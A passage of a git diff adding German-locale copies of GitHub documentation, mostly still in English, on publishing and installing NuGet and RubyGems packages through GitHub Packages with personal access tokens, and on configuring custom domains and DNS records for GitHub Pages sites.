+If you don't already have a PAT to use for your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)."
+
+1. Create a new project.
+  ```shell
+  dotnet new console --name OctocatApp
+  ```
+2. Package the project.
+  ```shell
+  dotnet pack --configuration Release
+  ```
+
+3. Publish the package using your {% data variables.product.pat_generic %} as the API key.
+  ```shell
+  dotnet nuget push "bin/Release/OctocatApp.1.0.0.nupkg"  --api-key YOUR_GITHUB_PAT --source "github"
+  ```
+
+{% data reusables.package_registry.viewing-packages %}
+
+### Publishing a package using a *nuget.config* file
+
+When publishing, you need to use the same value for `OWNER` in your *csproj* file that you use in your *nuget.config* authentication file. Specify or increment the version number in your *.csproj* file, then use the `dotnet pack` command to create a *.nuspec* file for that version. For more information on creating your package, see "[Create and publish a package](https://docs.microsoft.com/nuget/quickstart/create-and-publish-a-package-using-the-dotnet-cli)" in the Microsoft documentation.
+
+{% data reusables.package_registry.authenticate-step %}
+2. Create a new project.
+  ```shell
+  dotnet new console --name OctocatApp
+  ```
+3. Add your project's specific information to your project's file, which ends in *.csproj*.  You must replace:
+    - `OWNER` with the name of the user or organization account that owns the repository containing your project.
+    - `REPOSITORY` with the name of the repository containing the package you want to publish.                      
+    - `1.0.0` with the version number of the package.{% ifversion ghes or ghae %}
+    - `HOSTNAME` with the host name for {% data variables.location.product_location %}.{% endif %}
+  ``` xml
+  <Project Sdk="Microsoft.NET.Sdk">
+
+    <PropertyGroup>
+      <OutputType>Exe</OutputType>
+      <TargetFramework>netcoreapp3.0</TargetFramework>
+      <PackageId>OctocatApp</PackageId>
+      <Version>1.0.0</Version>
+      <Authors>Octocat</Authors>
+      <Company>GitHub</Company>
+      <PackageDescription>This package adds an Octocat!</PackageDescription>
+      <RepositoryUrl>https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/OWNER/REPOSITORY</RepositoryUrl>
+    </PropertyGroup>
+
+  </Project>
+  ```
+4. Package the project.
+  ```shell
+  dotnet pack --configuration Release
+  ```
+
+5. Publish the package using the `key` you specified in the *nuget.config* file.
+  ```shell
+  dotnet nuget push "bin/Release/OctocatApp.1.0.0.nupkg" --source "github"
+  ```
+
+{% data reusables.package_registry.viewing-packages %}
+
+## Publishing multiple packages to the same repository
+
+To publish multiple packages to the same repository, you can include the same {% data variables.product.prodname_dotcom %} repository URL in the `RepositoryURL` fields in all *.csproj* project files. {% data variables.product.prodname_dotcom %} matches the repository based on that field.
+
+For example, the *OctodogApp* and *OctocatApp* projects will publish to the same repository:
+
+``` xml
+<Project Sdk="Microsoft.NET.Sdk">
+
+  <PropertyGroup>
+    <OutputType>Exe</OutputType>
+    <TargetFramework>netcoreapp3.0</TargetFramework>
+    <PackageId>OctodogApp</PackageId>
+    <Version>1.0.0</Version>
+    <Authors>Octodog</Authors>
+    <Company>GitHub</Company>
+    <PackageDescription>This package adds an Octodog!</PackageDescription>
+    <RepositoryUrl>https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/octo-org/octo-cats-and-dogs</RepositoryUrl>
+  </PropertyGroup>
+
+</Project>
+```
+
+``` xml
+<Project Sdk="Microsoft.NET.Sdk">
+
+  <PropertyGroup>
+    <OutputType>Exe</OutputType>
+    <TargetFramework>netcoreapp3.0</TargetFramework>
+    <PackageId>OctocatApp</PackageId>
+    <Version>1.0.0</Version>
+    <Authors>Octocat</Authors>
+    <Company>GitHub</Company>
+    <PackageDescription>This package adds an Octocat!</PackageDescription>
+    <RepositoryUrl>https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/octo-org/octo-cats-and-dogs</RepositoryUrl>
+  </PropertyGroup>
+
+</Project>
+```
+
+## Installing a package
+
+Using packages from {% data variables.product.prodname_dotcom %} in your project is similar to using packages from *nuget.org*. Add your package dependencies to your *.csproj* file, specifying the package name and version. For more information on using a *.csproj* file in your project, see "[Working with NuGet packages](https://docs.microsoft.com/nuget/consume-packages/overview-and-workflow)" in the Microsoft documentation.
+
+{% data reusables.package_registry.authenticate-step %}
+
+2. To use a package, add `ItemGroup` and configure the `PackageReference` field in the *.csproj* project file. Replace the `OctokittenApp` value in `Include="OctokittenApp"` with your package dependency, and replace the `12.0.2` value in `Version="12.0.2"` with the version you want to use:
+  ``` xml
+  <Project Sdk="Microsoft.NET.Sdk">
+
+    <PropertyGroup>
+      <OutputType>Exe</OutputType>
+      <TargetFramework>netcoreapp3.0</TargetFramework>
+      <PackageId>OctocatApp</PackageId>
+      <Version>1.0.0</Version>
+      <Authors>Octocat</Authors>
+      <Company>GitHub</Company>
+      <PackageDescription>This package adds an Octocat!</PackageDescription>
+      <RepositoryUrl>https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/OWNER/REPOSITORY</RepositoryUrl>
+    </PropertyGroup>
+
+    <ItemGroup>
+      <PackageReference Include="OctokittenApp" Version="12.0.2" />
+    </ItemGroup>
+
+  </Project>
+  ```
+
+3. Install the packages with the `restore` command.
+  ```shell
+  dotnet restore
+  ```
+
+## Troubleshooting
+
+Your NuGet package may fail to push if the `RepositoryUrl` in *.csproj* is not set to the expected repository .
+
+If you're using a nuspec file, ensure that it has a `repository` element with the required `type` and `url` attributes.
+
+If you're using a `GITHUB_TOKEN` to authenticate to a {% data variables.product.prodname_registry %} registry within a {% data variables.product.prodname_actions %} workflow, the token cannot access private repository-based packages in a different repository other than where the workflow is running in. To access packages associated with other repositories, instead generate a {% data variables.product.pat_v1 %} with the `read:packages` scope and pass this token in as a secret.
+ 
+## Further reading
+
+- "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)"
diff --git a/translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md b/translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md
new file mode 100644
index 0000000000..ce03d6a552
--- /dev/null
+++ b/translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md
@@ -0,0 +1,157 @@
+---
+title: Working with the RubyGems registry
+intro: 'You can configure RubyGems to publish a package to {% data variables.product.prodname_registry %} and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in a Ruby project with Bundler.'
+product: '{% data reusables.gated-features.packages %}'
+redirect_from:
+  - /articles/configuring-rubygems-for-use-with-github-package-registry
+  - /github/managing-packages-with-github-package-registry/configuring-rubygems-for-use-with-github-package-registry
+  - /github/managing-packages-with-github-packages/configuring-rubygems-for-use-with-github-packages
+  - /packages/using-github-packages-with-your-projects-ecosystem/configuring-rubygems-for-use-with-github-packages
+  - /packages/guides/configuring-rubygems-for-use-with-github-packages
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: RubyGems registry
+---
+
+{% data reusables.package_registry.packages-ghes-release-stage %}
+{% data reusables.package_registry.packages-ghae-release-stage %}
+
+{% data reusables.package_registry.admins-can-configure-package-types %}
+
+## Prerequisites
+
+- You must have RubyGems 2.4.1 or higher. To find your RubyGems version:
+
+  ```shell
+  $ gem --version
+  ```
+
+- You must have bundler 1.6.4 or higher. To find your Bundler version:
+
+  ```shell
+  $ bundle --version
+  Bundler version 1.13.7
+  ```
+
+- Install keycutter to manage multiple credentials. To install keycutter:
+
+  ```shell
+  $ gem install keycutter
+  ```
+
+## Authenticating to {% data variables.product.prodname_registry %}
+
+{% data reusables.package_registry.authenticate-packages %}
+
+{% data reusables.package_registry.authenticate-packages-github-token %}
+
+### Authenticating with a {% data variables.product.pat_generic %}
+
+{% data reusables.package_registry.required-scopes %}
+
+You can authenticate to {% data variables.product.prodname_registry %} with RubyGems by editing the  *~/.gem/credentials* file for publishing gems, editing the *~/.gemrc* file for installing a single gem, or using Bundler for tracking and installing one or more gems.
+
+To publish new gems, you need to authenticate to {% data variables.product.prodname_registry %} with RubyGems by editing your *~/.gem/credentials* file to include your {% data variables.product.pat_v1 %}. Create a new *~/.gem/credentials* file if this file doesn't exist.
+
+For example, you would create or edit a *~/.gem/credentials* to include the following, replacing *TOKEN* with your {% data variables.product.pat_generic %}.
+
+```shell
+---
+:github: Bearer TOKEN
+```
+
+To install gems, you need to authenticate to {% data variables.product.prodname_registry %} by editing the *~/.gemrc* file for your project to include `https://USERNAME:TOKEN@{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/`. You must replace:
+  - `USERNAME` with your {% data variables.product.prodname_dotcom %} username.
+  - `TOKEN` with your {% data variables.product.pat_v1 %}.
+  - `OWNER` with the name of the user or organization account that owns the repository containing your project.{% ifversion ghes %}
+  - `REGISTRY-URL` with the URL for your instance's Rubygems registry. If your instance has subdomain isolation enabled, use `rubygems.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/rubygems`. In either case, replace *HOSTNAME* with the hostname of your {% data variables.product.prodname_ghe_server %} instance.
+{% elsif ghae %}
+  - `REGISTRY-URL` with the URL for your instance's Rubygems registry, `rubygems.HOSTNAME`. Replace *HOSTNAME* with the hostname of {% data variables.location.product_location %}.
+{% endif %}
+
+If you don't have a *~/.gemrc* file, create a new *~/.gemrc* file using this example.
+
+```shell
+---
+:backtrace: false
+:bulk_threshold: 1000
+:sources:
+- https://rubygems.org/
+- https://USERNAME:TOKEN@{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/
+:update_sources: true
+:verbose: true  
+
+```
+
+To authenticate with Bundler, configure Bundler to use your {% data variables.product.pat_v1 %}, replacing *USERNAME* with your {% data variables.product.prodname_dotcom %} username, *TOKEN* with your {% data variables.product.pat_generic %}, and *OWNER* with the name of the user or organization account that owns the repository containing your project.{% ifversion ghes %} Replace `REGISTRY-URL` with the URL for your instance's RubyGems registry. If your instance has subdomain isolation enabled, use `rubygems.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/rubygems`. In either case, replace *HOSTNAME* with the hostname of your {% data variables.product.prodname_ghe_server %} instance.{% elsif ghae %}Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry, `rubygems.HOSTNAME`. Replace *HOSTNAME* with the hostname of {% data variables.location.product_location %}.{% endif %}
+
+```shell
+$ bundle config https://{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER USERNAME:TOKEN
+```
+
+## Publishing a package
+
+{% data reusables.package_registry.default-name %} For example, when you publish `<GEM NAME>` to the `octo-org` organization, {% data variables.product.prodname_registry %} publishes the gem to the `octo-org/<GEM NAME>` repository. For more information on creating your gem, see "[Make your own gem](http://guides.rubygems.org/make-your-own-gem/)" in the RubyGems documentation.
+
+{% data reusables.package_registry.viewing-packages %}
+
+{% data reusables.package_registry.authenticate-step %}
+2. Build the package from the *gemspec* to create the *.gem* package.
+  ```
+  gem build <GEM NAME>.gemspec
+  ```
+3. Publish a package to {% data variables.product.prodname_registry %}, replacing `OWNER` with the name of the user or organization account that owns the repository containing your project and `<GEM NAME>` with the name of your gem package.{% ifversion ghes %} Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry. If your instance has subdomain isolation enabled, use `rubygems.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/rubygems`. In either case, replace *HOSTNAME* with the host name of your {% data variables.product.prodname_ghe_server %} instance.{% elsif ghae %} Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry, `rubygems.HOSTNAME`. Replace *HOSTNAME* with the hostname of {% data variables.location.product_location %}.{% endif %}
+
+  ```
+  $ gem push --key github \
+  --host https://{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER \
+  <GEM NAME>-0.0.1.gem
+  ```
+
+## Publishing multiple packages to the same repository
+
+To publish multiple gems to the same repository, you can include the URL to the {% data variables.product.prodname_dotcom %} repository in the `github_repo` field in `gem.metadata`. If you include this field, {% data variables.product.prodname_dotcom %} matches the repository based on this value, instead of using the gem name.{% ifversion ghes or ghae %} Replace *HOSTNAME* with the host name of {% data variables.location.product_location %}.{% endif %}
+
+```ruby
+gem.metadata = { "github_repo" => "ssh://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/OWNER/REPOSITORY" }
+```
+
+## Installing a package
+
+You can use gems from {% data variables.product.prodname_registry %} much like you use gems from *rubygems.org*. You need to authenticate to {% data variables.product.prodname_registry %} by adding your {% data variables.product.prodname_dotcom %} user or organization as a source in the *~/.gemrc* file or by using Bundler and editing your *Gemfile*.
+
+{% data reusables.package_registry.authenticate-step %}
+1. For Bundler, add your {% data variables.product.prodname_dotcom %} user or organization as a source in your *Gemfile* to fetch gems from this new source. For example, you can add a new `source` block to your *Gemfile* that uses {% data variables.product.prodname_registry %} only for the packages you specify, replacing *GEM NAME* with the package you want to install from {% data variables.product.prodname_registry %} and *OWNER* with the user or organization that owns the repository containing the gem you want to install.{% ifversion ghes %} Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry. If your instance has subdomain isolation enabled, use `rubygems.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/rubygems`. In either case, replace *HOSTNAME* with the host name of your {% data variables.product.prodname_ghe_server %} instance.{% elsif ghae %} Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry, `rubygems.HOSTNAME`. Replace *HOSTNAME* with the hostname of {% data variables.location.product_location %}.{% endif %}
+
+  ```ruby
+  source "https://rubygems.org"
+
+  gem "rails"
+
+  source "https://{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER" do
+    gem "GEM NAME"
+  end
+  ```
+
+3. For Bundler versions earlier than 1.7.0, you need to add a new global `source`. For more information on using Bundler, see the [bundler.io documentation](https://bundler.io/gemfile.html).
+
+  ```ruby
+  source "https://{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER"
+  source "https://rubygems.org"
+
+  gem "rails"
+  gem "GEM NAME"
+  ```
+
+4. Install the package:
+  ```
+  $ gem install <GEM NAME> --version "0.1.1"
+  ```
+
+## Further reading
+
+- "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)"
+
diff --git a/translations/de-DE/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md b/translations/de-DE/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md
new file mode 100644
index 0000000000..264d7bd5dc
--- /dev/null
+++ b/translations/de-DE/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md
@@ -0,0 +1,71 @@
+---
+title: About custom domains and GitHub Pages
+intro: '{% data variables.product.prodname_pages %} supports using custom domains, or changing the root of your site''s URL from the default, like `octocat.github.io`, to any domain you own.'
+redirect_from:
+  - /articles/about-custom-domains-for-github-pages-sites
+  - /articles/about-supported-custom-domains
+  - /articles/custom-domain-redirects-for-your-github-pages-site
+  - /articles/about-custom-domains-and-github-pages
+  - /github/working-with-github-pages/about-custom-domains-and-github-pages
+product: '{% data reusables.gated-features.pages %}'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Pages
+shortTitle: Custom domains in GitHub Pages
+---
+
+## Supported custom domains
+
+{% data variables.product.prodname_pages %} works with two types of domains: subdomains and apex domains. For a list of unsupported custom domains, see "[Troubleshooting custom domains and {% data variables.product.prodname_pages %}](/articles/troubleshooting-custom-domains-and-github-pages/#custom-domain-names-that-are-unsupported)."
+
+| Supported custom domain type | Example |
+|---|---|
+| `www` subdomain | `www.example.com` |
+| Custom subdomain | `blog.example.com` |
+| Apex domain        | `example.com` |
+
+You can set up either or both of apex and `www` subdomain configurations for your site. For more information on apex domains, see "[Using an apex domain for your {% data variables.product.prodname_pages %} site](#using-an-apex-domain-for-your-github-pages-site)."
+
+We recommend always using a `www` subdomain, even if you also use an apex domain. When you create a new site with an apex domain, we automatically attempt to secure the `www` subdomain for use when serving your site's content, but you need to make the DNS changes to use the `www` subdomain. If you configure a `www` subdomain, we automatically attempt to secure the associated apex domain. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."
+
+After you configure a custom domain for a user or organization site, the custom domain will replace the `<user>.github.io` or `<organization>.github.io` portion of the URL for any project sites owned by the account that do not have a custom domain configured. For example, if the custom domain for your user site is `www.octocat.com`, and you have a project site with no custom domain configured that is published from a repository called `octo-project`, the {% data variables.product.prodname_pages %} site for that repository will be available at `www.octocat.com/octo-project`.
+For more information about each type of site and handling custom domains, see "[Types of {% data variables.product.prodname_pages %} sites](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites)."
+
+## Using a subdomain for your {% data variables.product.prodname_pages %} site
+
+A subdomain is the part of a URL before the root domain. You can configure your subdomain as `www` or as a distinct section of your site, like `blog.example.com`.
+
+Subdomains are configured with a `CNAME` record through your DNS provider. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site#configuring-a-subdomain)."
+
+### `www` subdomains
+
+A `www` subdomain is the most commonly used type of subdomain. For example, `www.example.com` includes a `www` subdomain.
+
+`www` subdomains are the most stable type of custom domain because `www` subdomains are not affected by changes to the IP addresses of {% data variables.product.product_name %}'s servers.
+
+### Custom subdomains
+
+A custom subdomain is a type of subdomain that doesn't use the standard `www` variant. Custom subdomains are mostly used when you want two distinct sections of your site. For example, you can create a site called `blog.example.com` and customize that section independently from `www.example.com`.
+
+## Using an apex domain for your {% data variables.product.prodname_pages %} site
+
+An apex domain is a custom domain that does not contain a subdomain, such as `example.com`. Apex domains are also known as base, bare, naked, root apex, or zone apex domains.
+
+An apex domain is configured with an `A`, `ALIAS`, or `ANAME` record through your DNS provider. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site#configuring-an-apex-domain)."
+
+{% data reusables.pages.www-and-apex-domain-recommendation %} For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/github/working-with-github-pages/managing-a-custom-domain-for-your-github-pages-site/#configuring-a-subdomain)."
+
+## Securing the custom domain for your {% data variables.product.prodname_pages %} site
+
+{% data reusables.pages.secure-your-domain %} For more information, see "[Verifying your custom domain for {% data variables.product.prodname_pages %}](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages)" and "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."
+
+There are a couple of reasons your site might be automatically disabled.
+
+- If you downgrade from {% data variables.product.prodname_pro %} to {% data variables.product.prodname_free_user %}, any {% data variables.product.prodname_pages %} sites that are currently published from private repositories in your account will be unpublished. For more information, see "[Downgrading your {% data variables.product.prodname_dotcom %} billing plan](/articles/downgrading-your-github-billing-plan)."
+- If you transfer a private repository to a personal account that is using {% data variables.product.prodname_free_user %}, the repository will lose access to the {% data variables.product.prodname_pages %} feature, and the currently published {% data variables.product.prodname_pages %} site will be unpublished. For more information, see "[Transferring a repository](/articles/transferring-a-repository)."
+
+## Further reading
+
+- "[Troubleshooting custom domains and {% data variables.product.prodname_pages %}](/articles/troubleshooting-custom-domains-and-github-pages)"
diff --git a/translations/de-DE/content/pages/configuring-a-custom-domain-for-your-github-pages-site/index.md b/translations/de-DE/content/pages/configuring-a-custom-domain-for-your-github-pages-site/index.md
new file mode 100644
index 0000000000..aabf0ee302
--- /dev/null
+++ b/translations/de-DE/content/pages/configuring-a-custom-domain-for-your-github-pages-site/index.md
@@ -0,0 +1,33 @@
+---
+title: Eine benutzerdefinierte Domain für Ihre GitHub Pages-Website konfigurieren
+intro: 'Du kannst den Domain-Namen deiner {% data variables.product.prodname_pages %}-Website anpassen.'
+redirect_from:
+  - /articles/tips-for-configuring-an-a-record-with-your-dns-provider
+  - /articles/adding-or-removing-a-custom-domain-for-your-github-pages-site
+  - /articles/configuring-an-a-record-with-your-dns-provider
+  - /articles/using-a-custom-domain-with-github-pages
+  - /articles/tips-for-configuring-a-cname-record
+  - /articles/setting-up-a-custom-domain-with-pages
+  - /articles/setting-up-a-custom-domain-with-github-pages
+  - /articles/configuring-a-custom-domain-for-your-github-pages-site
+  - /github/working-with-github-pages/configuring-a-custom-domain-for-your-github-pages-site
+product: '{% data reusables.gated-features.pages %}'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Pages
+children:
+  - /about-custom-domains-and-github-pages
+  - /managing-a-custom-domain-for-your-github-pages-site
+  - /verifying-your-custom-domain-for-github-pages
+  - /troubleshooting-custom-domains-and-github-pages
+shortTitle: Configure a custom domain
+ms.openlocfilehash: defe7dee85d79462ee421705ab05bb8591b7400f
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145134289'
+---
+
diff --git a/translations/de-DE/content/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site.md b/translations/de-DE/content/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site.md
new file mode 100644
index 0000000000..44bb21d747
--- /dev/null
+++ b/translations/de-DE/content/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site.md
@@ -0,0 +1,155 @@
+---
+title: Managing a custom domain for your GitHub Pages site
+intro: 'You can set up or update certain DNS records and your repository settings to point the default domain for your {% data variables.product.prodname_pages %} site to a custom domain.'
+redirect_from:
+  - /articles/quick-start-setting-up-a-custom-domain
+  - /articles/setting-up-an-apex-domain
+  - /articles/setting-up-a-www-subdomain
+  - /articles/setting-up-a-custom-domain
+  - /articles/setting-up-an-apex-domain-and-www-subdomain
+  - /articles/adding-a-cname-file-to-your-repository
+  - /articles/setting-up-your-pages-site-repository
+  - /articles/managing-a-custom-domain-for-your-github-pages-site
+  - /github/working-with-github-pages/managing-a-custom-domain-for-your-github-pages-site
+product: '{% data reusables.gated-features.pages %}'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Pages
+shortTitle: Manage a custom domain
+---
+
+People with admin permissions for a repository can configure a custom domain for a {% data variables.product.prodname_pages %} site.
+
+## About custom domain configuration
+
+Make sure you add your custom domain to your {% data variables.product.prodname_pages %} site before configuring your custom domain with your DNS provider. Configuring your custom domain with your DNS provider without adding your custom domain to {% data variables.product.product_name %} could result in someone else being able to host a site on one of your subdomains.
+
+{% windows %}
+
+The `dig` command, which can be used to verify correct configuration of DNS records, is not included in Windows. Before you can verify that your DNS records are configured correctly, you must install [BIND](https://www.isc.org/bind/).
+
+{% endwindows %}
+
+{% note %}
+
+**Note:** DNS changes can take up to 24 hours to propagate.
+
+{% endnote %}
+
+## Configuring a subdomain
+
+To set up a `www` or custom subdomain, such as `www.example.com` or `blog.example.com`, you must add your domain in the repository settings. After that, configure a CNAME record with your DNS provider.
+
+{% data reusables.pages.navigate-site-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.pages.sidebar-pages %}
+4. Under "Custom domain", type your custom domain, then click **Save**. If you are publishing your site from a branch, this will create a commit that adds a `CNAME` file to the root of your source branch. If you are publishing your site with a custom {% data variables.product.prodname_actions %} workflow , no `CNAME` file is created. For more information about your publishing source, see "[Configuring a publishing source for your GitHub Pages site](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site)."
+![Save custom domain button](/assets/images/help/pages/save-custom-subdomain.png)
+
+{% note %}
+
+**Note:** If your custom domain is an internationalized domain name, you must enter the Punycode encoded version.
+
+For more information on Punycodes, see [Internationalized domain name](https://en.wikipedia.org/wiki/Internationalized_domain_name).
+
+{% endnote %}
+
+5. Navigate to your DNS provider and create a `CNAME` record that points your subdomain to the default domain for your site. For example, if you want to use the subdomain `www.example.com` for your user site, create a `CNAME` record that points `www.example.com` to `<user>.github.io`. If you want to use the subdomain `another.example.com` for your organization site, create a `CNAME` record that points `another.example.com` to `<organization>.github.io`. The `CNAME` record should always point to `<user>.github.io` or `<organization>.github.io`, excluding the repository name. {% data reusables.pages.contact-dns-provider %} {% data reusables.pages.default-domain-information %}
+
+{% indented_data_reference reusables.pages.wildcard-dns-warning spaces=3 %}
+{% data reusables.command_line.open_the_multi_os_terminal %}
+6. To confirm that your DNS record configured correctly, use the `dig` command, replacing _WWW.EXAMPLE.COM_ with your subdomain.
+```shell
+    $ dig WWW.EXAMPLE.COM +nostats +nocomments +nocmd
+    > ;WWW.EXAMPLE.COM.                    IN      A
+    > WWW.EXAMPLE.COM.             3592    IN      CNAME   YOUR-USERNAME.github.io.
+    > YOUR-USERNAME.github.io.      43192   IN      CNAME   GITHUB-PAGES-SERVER .
+    > GITHUB-PAGES-SERVER .         22      IN      A       192.0.2.1
+```
+{% data reusables.pages.build-locally-download-cname %}
+{% data reusables.pages.enforce-https-custom-domain %}
+
+## Configuring an apex domain
+
+To set up an apex domain, such as `example.com`, you must configure a custom domain in your repository settings and at least one `ALIAS`, `ANAME`, or `A` record with your DNS provider.
+
+{% data reusables.pages.www-and-apex-domain-recommendation %} For more information, see "[Configuring a subdomain](#configuring-a-subdomain)."
+
+{% data reusables.pages.navigate-site-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.pages.sidebar-pages %}
+4. Under "Custom domain", type your custom domain, then click **Save**. If you are publishing your site from a branch, this will create a commit that adds a `CNAME` file to the root of your source branch. If you are publishing your site with a custom {% data variables.product.prodname_actions %} workflow , no `CNAME` file is created. For more information about your publishing source, see "[Configuring a publishing source for your GitHub Pages site](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site)."
+  ![Save custom domain button](/assets/images/help/pages/save-custom-apex-domain.png)
+5. Navigate to your DNS provider and create either an `ALIAS`, `ANAME`, or `A` record. You can also create `AAAA` records for IPv6 support. {% data reusables.pages.contact-dns-provider %}
+    - To create an `ALIAS` or `ANAME` record, point your apex domain to the default domain for your site. {% data reusables.pages.default-domain-information %}
+    - To create `A` records, point your apex domain to the IP addresses for {% data variables.product.prodname_pages %}.
+      ```shell
+      185.199.108.153
+      185.199.109.153
+      185.199.110.153
+      185.199.111.153
+      ```
+    - To create `AAAA` records, point your apex domain to the IP addresses for {% data variables.product.prodname_pages %}.
+      ```shell
+      2606:50c0:8000::153
+      2606:50c0:8001::153
+      2606:50c0:8002::153
+      2606:50c0:8003::153
+      ```
+
+{% indented_data_reference reusables.pages.wildcard-dns-warning spaces=3 %}
+{% data reusables.command_line.open_the_multi_os_terminal %}
+6. To confirm that your DNS record configured correctly, use the `dig` command, replacing _EXAMPLE.COM_ with your apex domain. Confirm that the results match the IP addresses for {% data variables.product.prodname_pages %} above.
+   - For `A` records.
+    ```shell
+    $ dig EXAMPLE.COM +noall +answer -t A
+    > EXAMPLE.COM    3600    IN A     185.199.108.153
+    > EXAMPLE.COM    3600    IN A     185.199.109.153
+    > EXAMPLE.COM    3600    IN A     185.199.110.153
+    > EXAMPLE.COM    3600    IN A     185.199.111.153
+    ```
+   - For `AAAA` records.
+    ```shell
+    $ dig EXAMPLE.COM +noall +answer -t AAAA
+    > EXAMPLE.COM     3600    IN AAAA     2606:50c0:8000::153
+    > EXAMPLE.COM     3600    IN AAAA     2606:50c0:8001::153
+    > EXAMPLE.COM     3600    IN AAAA     2606:50c0:8002::153
+    > EXAMPLE.COM     3600    IN AAAA     2606:50c0:8003::153
+    ```
+{% data reusables.pages.build-locally-download-cname %}
+{% data reusables.pages.enforce-https-custom-domain %}
+
+## Configuring an apex domain and the `www` subdomain variant
+
+When using an apex domain, we recommend configuring your {% data variables.product.prodname_pages %} site to host content at both the apex domain and that domain's `www` subdomain variant.
+
+To set up a `www` subdomain alongside the apex domain, you must first configure an apex domain by creating an `ALIAS`, `ANAME`, or `A` record with your DNS provider. For more information, see "[Configuring an apex domain](#configuring-an-apex-domain)."
+
+After you configure the apex domain, you must configure a CNAME record with your DNS provider.
+
+1. Navigate to your DNS provider and create a `CNAME` record that points `www.example.com` to the default domain for your site: `<user>.github.io` or `<organization>.github.io`. Do not include the repository name. {% data reusables.pages.contact-dns-provider %} {% data reusables.pages.default-domain-information %}
+2. To confirm that your DNS record configured correctly, use the `dig` command, replacing _WWW.EXAMPLE.COM_ with your `www` subdomain variant.
+```shell
+    $ dig WWW.EXAMPLE.COM +nostats +nocomments +nocmd
+    > ;WWW.EXAMPLE.COM                     IN      A
+    > WWW.EXAMPLE.COM.              3592    IN      CNAME   YOUR-USERNAME.github.io.
+    > YOUR-USERNAME.github.io.      43192   IN      CNAME   GITHUB-PAGES-SERVER.
+    > GITHUB-PAGES-SERVER.         22      IN      A       192.0.2.1
+```
+## Removing a custom domain
+
+{% data reusables.pages.navigate-site-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.pages.sidebar-pages %}
+4. Under "Custom domain," click **Remove**.
+  ![Save custom domain button](/assets/images/help/pages/remove-custom-domain.png)
+
+## Securing your custom domain
+
+{% data reusables.pages.secure-your-domain %} For more information, see "[Verifying your custom domain for {% data variables.product.prodname_pages %}](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages)."
+
+## Further reading
+
+- "[Troubleshooting custom domains and {% data variables.product.prodname_pages %}](/articles/troubleshooting-custom-domains-and-github-pages)"
diff --git a/translations/de-DE/content/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages.md b/translations/de-DE/content/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages.md
new file mode 100644
